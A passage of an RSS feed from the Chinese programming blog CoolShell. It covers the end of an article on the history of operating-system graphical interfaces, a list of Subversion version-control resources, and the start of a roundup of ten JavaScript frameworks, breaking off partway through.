font-family: Tahoma;\">visionfutur.com</span></em></strong></a></p>\n<p> </p>\n<h2>2001 &#8211; 2005</h2>\n<h2><strong>Mac OS X (released in 2001)</strong></h2>\n<p>2000年初，苹果宣布推出其 Aqua 界面，2001年，推出全新的操作系统 Mac OS X。默认的 32&#215;32, 48&#215;48 被更大的 128&#215;128 平滑半透明图标代替。该 GUI 一经推出立即招致大量批评，似乎用户都如此大的变化还不习惯，不过没过多久，大家就接受了这种新风格，如今这种风格已经成了 Mac OS 的招牌。</p>\n<p><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/35-mac-osx-1.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"35-mac-osx-1\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/35-mac-osx-1.jpg\" alt=\"35-mac-osx-1\" width=\"615\" height=\"461\" /></a><br />\nApple Mac OS X 10.1 Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/macosx101\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></p>\n<h2><strong>Windows XP (released in 2001)</strong></h2>\n<p>每一次微软推出重要的操作系统版本，其 GUI 也必定有巨大的改变，Windows XP 也不例外，这个 GUI 支持皮肤，用户可以改变整个 GUI 的外观与风格，默认图标为 48&#215;48，支持上百万颜色。</p>\n<p><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/36-windows-xp.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"36-windows-xp\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/36-windows-xp.jpg\" alt=\"36-windows-xp\" width=\"615\" height=\"461\" /></a><br />\nMicrosoft Windows XP Professional, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/winxppro\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></p>\n<h2><strong>KDE 3 (released in 2002)</strong></h2>\n<p>自从KDE 1.0以来，K Desktop Enviornment 改善地非常地快也非常的迅猛。其对所有图形和图标进行了改进并统一了用户体验。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/37-kde-3.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"37-kde-3\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/37-kde-3.jpg\" alt=\"37-kde-3\" width=\"615\" height=\"461\" /></a></p>\n<p><em><span style=\"font-family: Tahoma;\">KDE 3.0.1, Source: </span></em><a href=\"http://www.netbsd.org/gallery/in-Action/jschauma-kde3.png\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">netbsd.org</span></em></strong></a></p>\n<p> </p>\n<p> </p>\n<h2>2007 &#8211; 2009</h2>\n<h2>Windows Vista (released in 2007)</h2>\n<p>开始3D桌面了。这是微软向其竞争对手做出的一个挑战，Vista 中同样包含很多 3D 和动画，自 Windows 98 以来，微软一直尝试改进桌面，在 Vista 中，他们使用类似饰件的机制替换了活动桌面。不过Linux下的3D桌面可更为夸张。</p>\n<p><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/38-windows-vista.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"38-windows-vista\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/38-windows-vista.jpg\" alt=\"38-windows-vista\" width=\"615\" height=\"461\" /></a></span></em></p>\n<p><em><span style=\"font-family: Tahoma;\">Microsoft Windows Vista, Source: </span></em><a href=\"http://technology.berkeley.edu/msvista/images/800px-Windows_Vista_Desktop.png\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">technology.berkeley.edu</span></em></strong></a></p>\n<h2><strong>Mac OS X Leopard (released in 2007)</strong></h2>\n<p><span style=\"FONT-STYLE: normal\"><span style=\"font-family: Tahoma;\">这是第6代的Mac OS桌面系统，也是一样，引入了更好的3D元素。还有大量的动画。</span></span></p>\n<p><span style=\"FONT-STYLE: normal\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/39-mac-osx-leopard.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"39-mac-osx-leopard\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/39-mac-osx-leopard.jpg\" alt=\"39-mac-osx-leopard\" width=\"615\" height=\"388\" /></a></span></em></span></p>\n<p><span style=\"FONT-STYLE: normal\"><em><span style=\"font-family: Tahoma;\">Apple Mac OS X 10.5 Leopard, Source: </span></em><a href=\"http://skattertech.com/media/2007/10/apple-os-x-leopard-screenshot.jpg\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">skattertech.com</span></em></strong></a></span></p>\n<p> </p>\n<h2>KDE (v4.0 Jan. 2009, v4.2 Mar. 2009)</h2>\n<p>KDE 4 的 GUI 提供了很多新改观，如动画的，平滑的，有效的窗体管理，图标尺寸可以很容易调整，几乎任何设计元素都可以轻松配置。相对前面的版本绝对是一个巨大的改进。</p>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/03/40-kde.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"40-kde\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/40-kde.jpg\" alt=\"40-kde\" width=\"615\" height=\"384\" /></a></p>\n<p><em><span style=\"font-family: Tahoma;\">Source: </span></em><a rel=\"nofollow\" href=\"http://en.wikipedia.org/wiki/File:KDE_4.2_desktop.png\" target=\"_blank\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">Wikipedia</span></em></strong></a> </p>\n<p>（全文完）</p>\n<p> </p>\n<p>文章：<a href=\"http://www.webdesignerdepot.com/2009/03/operating-system-interface-design-between-1981-2009/\" target=\"_blank\">来源</a></p>\n<h2> </h2>\n<p> </p>\n<p style=\"TEXT-ALIGN: left\"> </p>\n<p><a href=\"http://www.makowski-berlin.de/\"><strong><em></em></strong></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg\" alt=\"粉丝眼中的操作系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1998.html\" class=\"wp_rp_title\">粉丝眼中的操作系统</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li><li ><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/W_600-150x150.jpg\" alt=\"Windows的达尔文进化图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_title\">Windows的达尔文进化图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/105.html\">操作系统图形界面发展史(1981-2009)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/105.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>版本控制Subversion相关资源</title>\n\t\t<link>https://coolshell.cn/articles/93.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/93.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 11 Mar 2009 14:16:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Subversion]]></category>\n\t\t<category><![CDATA[verison control]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=93</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>入门教程 Subversion Cheat Sheet（PDF version） The Subversion Book Subversion Official...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/93.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/93.html\">版本控制Subversion相关资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h2 style=\"TEXT-ALIGN: left\">入门教程</h2>\n<ul>\n<li><a href=\"http://www.abbeyworkshop.com/howto/misc/svn01/\">Subversion Cheat Sheet</a>（<a href=\"http://ariejan.net/upload/svncheatsheet-1.0.1.pdf\">PDF version</a>）</li>\n<li><a href=\"http://svnbook.red-bean.com/en/1.5/index.html\">The Subversion Book</a></li>\n<li><a href=\"http://svn.collab.net/svn-doxygen/\">Subversion Official Documentation</a></li>\n<li><a href=\"http://svn1clicksetup.tigris.org/\">SVN 1-Click Setup</a></li>\n</ul>\n<h2>Subversion客户端</h2>\n<ul>\n<li><a href=\"http://tortoisesvn.tigris.org/\">Tortoise SVN</a> (Windows only)</li>\n</ul>\n<p style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/tortoisesvn.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-97 aligncenter\" title=\"tortoisesvn\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/tortoisesvn.png\" alt=\"tortoisesvn\" width=\"310\" height=\"215\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/tortoisesvn.png 310w, https://coolshell.cn/wp-content/uploads/2009/03/tortoisesvn-300x208.png 300w\" sizes=\"(max-width: 310px) 100vw, 310px\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/tortoisesvn.png\"></a></p>\n<p><span id=\"more-93\"></span></p>\n<ul>\n<li><a href=\"http://www.zennaware.com/cornerstone/\">Cornerstone</a> (Mac only)</li>\n<li><a href=\"http://pysvn.tigris.org/\">Workbench</a></li>\n<li><a href=\"http://www.syntevo.com/smartsvn/index.html\">SmartSVN</a></li>\n</ul>\n<p style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/auto.gif\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/auto.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-94 aligncenter\" title=\"auto\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/auto-300x105.gif\" alt=\"auto\" width=\"300\" height=\"105\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/auto-300x105.gif 300w, https://coolshell.cn/wp-content/uploads/2009/03/auto.gif 511w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/auto.gif\"></a></p>\n<ul>\n<li><a href=\"http://www.versionsapp.com/\">Versions</a> (Mac only)</li>\n</ul>\n<p style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/versions.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-98 aligncenter\" title=\"versions\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/versions-300x193.jpg\" alt=\"versions\" width=\"300\" height=\"193\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/versions-300x193.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/03/versions.jpg 500w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a></p>\n<ul>\n<li><a href=\"http://subclipse.tigris.org/\">Subclipse</a></li>\n</ul>\n<p style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/ecl.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-95 aligncenter\" title=\"ecl\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/ecl-297x300.gif\" alt=\"ecl\" width=\"297\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/ecl-297x300.gif 297w, https://coolshell.cn/wp-content/uploads/2009/03/ecl.gif 470w\" sizes=\"(max-width: 297px) 100vw, 297px\" /></a></p>\n<ul>\n<li><a href=\"http://subcommander.tigris.org/\">Subcommander</a></li>\n<li><a href=\"http://fsvs.tigris.org/\">FSVS</a> “Fast System Versioning”,</li>\n<li><a href=\"http://www.syncrosvnclient.com/\">Syncro SVN Client</a></li>\n</ul>\n<p style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/jano.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-96 aligncenter\" title=\"jano\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/jano-300x277.gif\" alt=\"jano\" width=\"300\" height=\"277\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/jano-300x277.gif 300w, https://coolshell.cn/wp-content/uploads/2009/03/jano.gif 483w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a></p>\n<ul>\n<li><a href=\"http://scplugin.tigris.org/\">scplugin</a> (Mac only)</li>\n<li><a href=\"http://www.qaware.de/qasvn/QAsvn.html\">iPhone SVN Log Viewer</a></li>\n</ul>\n<h2>IDE插件</h2>\n<ul>\n<li><a href=\"http://subclipse.tigris.org/\">Subclipse</a>（<a href=\"http://www.eclipse.org/\">Eclipse IDE</a> for Java）</li>\n</ul>\n<p style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/subclipse.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-100 aligncenter\" title=\"subclipse\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/subclipse-300x168.png\" alt=\"subclipse\" width=\"300\" height=\"168\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/subclipse-300x168.png 300w, https://coolshell.cn/wp-content/uploads/2009/03/subclipse.png 459w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/subclipse.png\"></a></p>\n<ul>\n<li><a href=\"http://ankhsvn.open.collab.net/\">AnkhSVN</a>（Microsoft’s <a href=\"http://www.microsoft.com/visualstudio/en-us/default.mspx\">Visual Studio</a>）</li>\n</ul>\n<p style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/ankshsvn.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-99 aligncenter\" title=\"ankshsvn\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/ankshsvn-300x236.png\" alt=\"ankshsvn\" width=\"300\" height=\"236\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/ankshsvn-300x236.png 300w, https://coolshell.cn/wp-content/uploads/2009/03/ankshsvn.png 465w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a></p>\n<ul>\n<li><a href=\"https://www.opends.org/wiki/page/ConfiguringSubversionToIgnoreIDEProjectFiles\">How to Ignore IDE Project Files in Subversion</a></li>\n</ul>\n<h2>SVN 浏览器</h2>\n<ul>\n<li><a href=\"http://trac.edgewall.org/\">Trac</a></li>\n<li><a href=\"http://warehouseapp.com/\">Warehouse</a></li>\n<li><a href=\"http://www.websvn.info/\">WebSVN</a></li>\n<li><a href=\"http://insurrection.tigris.org/\">Insurrection</a></li>\n<li><a href=\"http://www.polarion.org/index.php?page=overview&amp;project=svnwebclient\">Polarion WebClient for SVN</a></li>\n</ul>\n<p style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/warehouse2.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-101 aligncenter\" title=\"warehouse2\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/warehouse2-300x240.jpg\" alt=\"warehouse2\" width=\"300\" height=\"240\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/warehouse2-300x240.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/03/warehouse2.jpg 480w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/warehouse2.jpg\"></a></p>\n<h2>SVN主机</h2>\n<ul>\n<li><a href=\"http://code.google.com/\">Google Code</a></li>\n<li><a href=\"http://cvsdude.com/\">CVSDude</a> （$5.99 /月）</li>\n<li><a href=\"http://www.beanstalkapp.com/\">Beanstalk</a>（$15/月 ）</li>\n<li><a href=\"http://unfuddle.com/\">Unfuddle</a>（$9/月）</li>\n<li><a href=\"http://www.assembla.com/\">Assembla</a>（$2/月）</li>\n</ul>\n<h2>Subversion社区</h2>\n<ul>\n<li><a href=\"http://svnforum.org/\">SVNForum</a></li>\n<li><a href=\"http://open.collab.net/\">openCollabNet</a></li>\n</ul>\n<h2>Subversion图书</h2>\n<ul>\n<li><a href=\"http://www.manning.com/machols/\">Subversion in Action</a></li>\n<li><a href=\"http://www.apress.com/book/view/1590597532\">Practical Subversion</a></li>\n<li><a href=\"http://www.pragprog.com/titles/svn2/pragmatic-version-control-using-subversion\">Pragmatic Version Control Using Subversion</a></li>\n<li><a href=\"http://www.amazon.com/Subversion-Version-Control-Development-Projects/dp/0131855182/ref=pd_sim_b_15\">Subversion Version Control: Using the Subversion Version Control System in Development Projects</a></li>\n</ul>\n<h2>Subversion 相关文章</h2>\n<ul>\n<li><a href=\"http://athleticsnyc.com/blog/entry/on-using-subversion-for-web-projects\">Subversion for Web Projects</a></li>\n<li><a href=\"http://www.macdevcenter.com/pub/a/mac/2004/08/10/subversion.html\">Making the Jump to SVN</a></li>\n<li><a href=\"http://www.onlamp.com/pub/a/onlamp/2005/01/06/svn_homedir.html\">Keeping Your Life in Subversion</a></li>\n<li><a href=\"http://lifehacker.com/software/subversion/hack-attack-how-to-set-up-a-personal-home-subversion-server-188582.php\">How to Set Up a Personal Home Subversion Server</a></li>\n<li><a href=\"http://www.howtoforge.com/debian_subversion_websvn\">How to Set Up Subversion and websvn on Debian</a></li>\n<li><a href=\"https://www.opends.org/wiki/page/MirroringASubversionRepository\">Mirroring a Subversion Repository</a></li>\n<li><a href=\"https://www.opends.org/wiki/page/ConfiguringSubversionToUseAProxyServer\">Configuring Subversion to Use a Proxy Server</a></li>\n<li><a href=\"http://blog.fallingsnow.net/2007/08/17/maintaining-an-svn-mirror-directly-from-git/\">Maintaining an SVN Mirror Directly from Git</a> </li>\n<li><a href=\"http://www.onlamp.com/pub/a/onlamp/2004/08/19/subversiontips.html\">Top 10 Subversion Tips for CVS Users</a></li>\n<li><a href=\"http://www.collab.net/community/subversion/articles/merge-info.html\">Mergeinfo &#8211; Understanding the Internals</a></li>\n</ul>\n<p>文章：<a href=\"http://www.smashingmagazine.com/2009/03/10/ultimate-round-up-for-version-control-with-subversion/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3288.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/scmhistory-150x150.png\" alt=\"版本管理器的发展史\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3288.html\" class=\"wp_rp_title\">版本管理器的发展史</a></li><li ><a href=\"https://coolshell.cn/articles/7755.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/git.log_.01-150x150.png\" alt=\"Git显示漂亮日志的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7755.html\" class=\"wp_rp_title\">Git显示漂亮日志的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/2492.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"WTF Javascript\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2492.html\" class=\"wp_rp_title\">WTF Javascript</a></li><li ><a href=\"https://coolshell.cn/articles/428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"程序员需要具备的基本技能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/428.html\" class=\"wp_rp_title\">程序员需要具备的基本技能</a></li><li ><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Twitter的禁用口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_title\">Twitter的禁用口令</a></li><li ><a href=\"https://coolshell.cn/articles/4811.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"软件真的好难做啊\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4811.html\" class=\"wp_rp_title\">软件真的好难做啊</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/93.html\">版本控制Subversion相关资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/93.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>十个开源的Javascript框架</title>\n\t\t<link>https://coolshell.cn/articles/91.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/91.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 11 Mar 2009 13:48:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ajax开发]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=91</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是十个最牛的也是最流行的Javascript框架。它们完全可以担任目前世界上几乎所有一些和Ajax技术相关的和图形界面相关的一切功能。 jQuery htt...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/91.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/91.html\">十个开源的Javascript框架</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是十个最牛的也是最流行的Javascript框架。它们完全可以担任目前世界上几乎所有一些和Ajax技术相关的和图形界面相关的一切功能。</p>\n<li>\n<h2>jQuery</h2>\n</li>\n<p><a href=\"http://jquery.com/\">http://jquery.com/</a></p>\n<p><a rel=\"nofollow\" href=\"http://jquery.com/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/jquery.png\" alt=\"\" /></a></p>\n<p>如果今天你还不知道jQuery的话，那么作为一个程序员你可能真的是从火星来的了。这恐怕是Ajax中应用最广的框架。包括了许多很不错的UI组件，做出网页的效果也是令人称道的。不过，他最牛的是它的文件大小，只有区区18K，实在是居家旅行，网站开发之首选。</p>\n<p><a rel=\"nofollow\" href=\"http://jquery.com/\"></a> 下面是一个日历控件，很不错吧。</p>\n<p><a rel=\"nofollow\" href=\"http://jqueryui.com/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/jquerygui.PNG\" alt=\"\" /></a> </p>\n<p><span id=\"more-91\"></span></p>\n<li>\n<h2>Prototype</h2>\n</li>\n<p><a href=\"http://prototypejs.org/\">http://prototypejs.org/</a></p>\n<p><a rel=\"nofollow\" href=\"http://prototypejs.org/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/prototypejs.png\" alt=\"\" /></a> </p>\n<p>一个面向对象的javascript类库，包函了很多很多很实用的功能，很多其它的框架都使用了他作为基础类库。大小128K，有点大，还好。下面一其一个UI的示例。</p>\n<p><a rel=\"nofollow\" href=\"http://www.prototype-ui.com/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/protoui.PNG\" alt=\"\" /></a></p>\n<li>\n<h2>script.aculo.us</h2>\n</li>\n<p><a href=\"http://script.aculo.us/\">http://script.aculo.us/</a></p>\n<p><a rel=\"nofollow\" href=\"http://script.aculo.us/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/scriptaculous.png\" alt=\"\" /></a> </p>\n<p>这个框架是基础上面那个框架（Prototype ）上开发的，它被包含在Ruby on Rails框架中（<a href=\"http://rubyonrails.org/\">http://rubyonrails.org/</a>）。</p>\n<li>\n<h2>MooTools</h2>\n</li>\n<p><a href=\"http://mootools.net/\">http://mootools.net/</a></p>\n<p><a rel=\"nofollow\" href=\"http://mootools.net/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/Mootools.png\" alt=\"\" /></a> </p>\n<p>这是一个紧凑的，模块化的，面向对象风格的javascript框架，这并不是一个能直接用上的Javascript，他主要给程序员们方便地进行开发更高级的组件，因为这个框架主要是面对开发人员的，所以他是非常灵活和非常强大的。也不大，才63K。</p>\n<li>\n<h2>ExtJS</h2>\n</li>\n<p><a href=\"http://extjs.com/products/extjs/\">http://extjs.com/products/extjs/</a></p>\n<p><a rel=\"nofollow\" href=\"http://extjs.com/products/extjs/\"><img decoding=\"async\" class=\"alignleft\" src=\"http://www.ajaxline.com/files/extjs.png\" alt=\"\" /></a>这是一个超级强大的Javascripts类库，简直是包罗万像，就像机器猫的口袋，想要什么就有什么。UI组件多的是令人发指，功能也是强大到不行。当然，其类库的尺寸也是强大到不行，一共6.6M，还是被压缩过的。看看下面的UI示例吧，这只不过是冰山一角。</p>\n<p><strong>我个人认为这个是所有框架里面最好的一个。</strong></p>\n<p><a rel=\"nofollow\" href=\"http://extjs.com/products/extjs/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/extjs_ex.PNG\" alt=\"\" /></a> </p>\n<li>\n<h2>Qooxdoo</h2>\n</li>\n<p><a href=\"http://qooxdoo.org/\">http://qooxdoo.org/</a></p>\n<p><a rel=\"nofollow\" href=\"http://qooxdoo.org/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/qooxdoo.gif\" alt=\"\" /></a> 